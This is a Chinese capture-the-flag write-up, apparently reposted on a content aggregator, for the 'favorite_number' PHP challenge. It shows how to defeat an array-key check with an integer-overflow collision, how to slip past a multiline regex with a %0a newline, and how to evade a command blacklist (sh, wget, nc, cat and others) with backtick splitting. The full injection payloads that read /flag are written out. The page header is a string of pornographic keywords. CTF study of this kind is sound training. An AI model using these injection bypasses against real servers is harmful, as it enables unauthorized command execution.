日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

攻防世界-favorite_number

發布時間:2024/1/18 编程问答 38 豆豆
生活随笔 收集整理的這篇文章主要介紹了 攻防世界-favorite_number 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

老樣子進入環境,一段代碼刷刷下來,闖進腦子里

?這里就需要具備php語言的基礎了,還有正則的基礎,還不會的小伙伴,趕緊補一補

(注意php5.5.9這個版本)

分析一下代碼:

if($stuff === $array && $stuff[0] != 'admin')? //數組判斷,強等于,首元素需要不等于 'admin'

if (preg_match("/^\d+$/im",$num))? //只允純數字, 看到謀面的/m了吧,這是開啟了多行匹配,所以呢

^和$不只是字符串匹配開頭和結尾,這就是匹配每一行的開頭和結尾. 用%a0換行,這樣正則匹配就只能匹配到第一行.

if (!preg_match("/sh|wget|nc|python|php|perl|\?|flag|}|cat|echo|\*|\^|\]|\\\\|'|\"|\|/i",$num))

// 這里相當于一個黑名單,不允許有我們常用的可以執行的代碼命令,把它們都過濾掉了

主要的代碼部分都清楚了,步驟就繞過這三個if 執行里面的system

?

這第一給if就給我難住了,想了很久,要不然就是溢出,要不就是php5.5.9這個版本有什么漏洞,不然怎么構造payload 我也繞不過去,去逛了一圈,看到了一些資料,php5.5.26這版本有個整數溢出漏洞

小伙伴可以自己看一看: https://bugs.php.net/bug.php?id=69892

漏洞就是說數組中鍵值為0的元素與4294967296 //0x100000000 (0x開頭表示16進制,換算過來就是4294967296)的元素是一樣的

所以我們構造payload先繞過第一個if:

stuff[4294967296]=admin&stuff[1]=user&num=666

?第一個if繞過

第二個if后面加%0a加ls /查看根目錄

看到flag字樣了,cat /flag貓一眼

?好家伙,被過濾掉了,那么就要想想別的辦法看了

https://blog.csdn.net/weixin_42373789/article/details/113451481可以參考參考繞過姿勢,加上自己奇思妙想

stuff%5B4294967296%5D=admin&stuff%5B1%5D=user&num=666%0a ca``t? /fl``ag

?成功拿到flag,打完收工!

?

總結

以上是生活随笔為你收集整理的攻防世界-favorite_number的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。